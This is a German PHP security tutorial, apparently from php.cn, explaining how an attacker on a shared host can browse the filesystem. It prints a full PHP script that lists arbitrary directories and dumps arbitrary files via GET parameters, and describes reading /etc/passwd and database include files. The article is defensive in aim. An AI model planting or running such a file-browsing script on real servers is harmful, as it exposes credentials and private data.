Heim  >  Artikel  >  Backend-Entwicklung  >  PHP-Sicherheit – Durchsuchen von Dateisystemen

PHP-Sicherheit – Durchsuchen von Dateisystemen

黄舟
黄舟Original
2017-02-20 09:30:08895Durchsuche



Durchsuchen des Dateisystems

Der Angreifer kann nicht nur beliebige Dateien auf dem gemeinsam genutzten Server lesen, sondern auch ein Skript erstellen, das das Dateisystem durchsuchen kann. Da die meisten Ihrer sensiblen Dateien nicht im Home-Verzeichnis Ihrer Website gespeichert werden, wird diese Art von Skript im Allgemeinen verwendet, um den Speicherort Ihrer Quelldateien zu ermitteln. Bitte sehen Sie sich das folgende Beispiel an:

 <pre class="brush:php;toolbar:false">
 
  <?php
 
  if (isset($_GET[&#39;dir&#39;]))
  {
    ls($_GET[&#39;dir&#39;]);
  }
  elseif (isset($_GET[&#39;file&#39;]))
  {
    cat($_GET[&#39;file&#39;]);
  }
  else
  {
    ls(&#39;/&#39;);
  }
 
  function cat($file)
  {
    echo htmlentities(file_get_contents($file),
ENT_QUOTES, &#39;UTF-8&#39;));
  }
 
  function ls($dir)
  {
    $handle = dir($dir);
 
    while ($filename = $handle->read())
    {
      $size = filesize("$dir$filename");
 
      if (is_dir("$dir$filename"))
      {
        $type = &#39;dir&#39;;
        $filename .= &#39;/&#39;;
      }
      else
      {
        $type = &#39;file&#39;;
      }
 
      if (is_readable("$dir$filename"))
      {
        $line = str_pad($size, 15);
        $line .= "<a
href=\"{$_SERVER[&#39;PHP_SELF&#39;]}";
        $line .=
"?$type=$dir$filename\">$filename</a>";
      }
      else
      {
        $line = str_pad($size, 15);
        $line .= $filename;
      }
 
      echo "$line\n";
    }
 
    $handle->close();
  }
 
  ?>
 
  


Ein Angreifer kann sich zunächst die Datei /etc/passwd oder das Verzeichnis /home ansehen, um eine Liste der Benutzernamen auf dem Server zu erhalten. Der Speicherort von Quelldateien, die außerhalb des Home-Verzeichnisses der Website gespeichert sind, kann über Sprachstrukturen wie include oder require ermittelt werden. Betrachten Sie beispielsweise die folgende Skriptdatei /home/victim/public_html/admin.php:

  <?php
 
  include &#39;../inc/db.inc&#39;;
 
  /* ... */
 
  ?>


Wenn es einem Angreifer gelingt, den Quellcode der Datei anzuzeigen, kann er den Speicherort von db.inc ermitteln und mit der Funktion readfile() deren Inhalt offenlegen und Zugriff auf die Datenbank erhalten. Daher schützt das Speichern von db.inc außerhalb des Home-Verzeichnisses der Website in dieser Umgebung nicht.

Dieser Angriff veranschaulicht, warum alle Quelldateien auf einem gemeinsam genutzten Server als öffentlich betrachtet und die Datenbank zum Speichern aller sensiblen Daten ausgewählt werden sollten.

Das Obige ist der Inhalt des PHP-Sicherheitsdateisystems. Weitere verwandte Inhalte finden Sie auf der chinesischen PHP-Website (www.php.org). php.cn)!


Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Vorheriger Artikel:PHP-SicherheitsmodusNächster Artikel:PHP-Sicherheitsmodus